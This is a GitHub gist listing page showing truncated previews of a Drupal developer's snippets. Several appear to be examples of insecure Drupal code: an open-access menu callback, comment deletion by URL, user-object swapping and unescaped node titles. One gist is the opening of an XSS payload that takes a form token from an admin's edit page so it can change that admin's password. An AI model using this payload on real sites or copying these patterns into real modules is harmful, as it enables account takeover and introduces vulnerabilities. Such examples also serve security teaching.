Skip to content

Instantly share code, notes, and snippets.

View greggles's full-sized avatar

Greg Knaddison greggles

View GitHub Profile
@greggles
greggles / gist:1243016
Created September 26, 2011 18:47
1290624_example1
<?php
function example_module_menu() {
$items['example-search-callback'] = array(
'title' => t('Node search'),
'page callback' => 'example_module_callback',
'access callback' => TRUE,
'type' => MENU_CALLBACK
);
return $items;
@greggles
greggles / gist:1243299
Created September 26, 2011 20:23
1290624_example2
<?php
//
function example_module_menu() {
// Allow admins to delete a comment at /example-delete-comment/CID.
$items['example-delete-comment'] = array(
'title' => t('Delete a comment'),
'page callback' => 'example_module_callback',
'access arguments' => array('administer comments'),
@greggles
greggles / gist:1243531
Created September 26, 2011 21:59
1290624_example3
<?php
/**
* Provides an API function to load/tweak a user's name.
* Called by a module which has already checked permission and the validity of the $uid.
*/
function example_module_usertweak($uid) {
global $user;
drupal_set_message(t('Thanks, @user, for tweaking this!', array('@user' => $user->name));
// Save the original user.
@greggles
greggles / gist:1245356
Created September 27, 2011 15:22
1290624_example4
<?php
// Assume $arguments can contain any node on the site...
$nodes = node_load_multiple($arguments);
foreach ($nodes as $node) {
$options[$node->nid] = $node->title;
}
$form['test1'] = array(
'#type' => 'select'
'#options' => $options,
);
@greggles
greggles / gist:1368537
Last active December 1, 2015 20:59
Drupal 7 xss change password
// Test for the presence of jquery.
if (typeof jQuery == 'function') {
// Fetch a correct token from the user edit form because we will need it to
// successfully submit the user edit form later.
// TODO: Include a check to increase the chance that the current user is admin,
// which will reduce the number of access denied error messages in the log.
jQuery.get(Drupal.settings.basePath + 'user/2/edit',
function (data, status) {
if (status == 'success') {
// Extract the token and other required data
@greggles
greggles / gist:1894088
Created February 23, 2012 18:07
php loose typing FTL
<?php
if ($making_this_valid) {
// I would totally buy lip balm called Sonnabalm, if mark would make it.
}
else {
// Time out, in seconds, until login URL expires. 24 hours = 86400 seconds.
$timeout = 86400;
if($activation_days){
$timeout .= $timeout* $activation_days;
}
@greggles
greggles / gist:1895497
Created February 23, 2012 22:42
variable constants, dawg
<?php
$query_latest_comment = "SELECT c.nid, c.cid from {node_comment_statistics} c INNER JOIN {node} n ON c.nid=n.nid WHERE n.type=:forum_type and c.cid > :zero_value ORDER BY last_comment_timestamp DESC LIMIT 0, 50";
$result_latest_comment = db_query($query_latest_comment, array (':forum_type'=>'forum', ':zero_value'=>0));
@greggles
greggles / gist:1895535
Created February 23, 2012 22:49
cyclical complexity of 2 no-op
<?php
/**
* Implement hook_field_attach_submit().
*/
function example_authentication_field_attach_submit($entity_type, $entity, $form, &$form_state) {
// drupal_set_message('THE ENTITY TYPE IS:'.$entity_type);
if ($entity_type == 'user') {
// drupal_set_message('THE CURRENT PASSWORD IS: '.$form['#user']->current_pass);
// drupal_set_message('THE NEW PASSWORD IS: '.$form['#user']->pass);
@greggles
greggles / gist:2032114
Created March 13, 2012 22:13
checkout all the projects
#!/bin/bash
REPOS="/Users/gknaddison/checkouts/allthestuff/newstyle/d6/themes"
mkdir $REPOS
cd $REPOS
while read line; do
echo "$line"
git clone git://git.drupal.org/project/${line}.git ${REPOS}/${line}
cd ${REPOS}/${line} && git checkout 7.x-1.x
done < "/Users/gknaddison/checkouts/allthestuff/allthemes.txt"
@greggles
greggles / codecommentsfrombeforegit.php
Created April 18, 2012 23:15
codecommentsfrombeforegit.php
<?php
/**
* ---------------------------------------------------------------------
* The code in this file seemed like it wasn't being used, since the
* module wasn't enabled. In case there was any use for it, I'm storing
* the code in this file so I can continue to use the custom module
* namespace.
* ---------------------------------------------------------------------
*/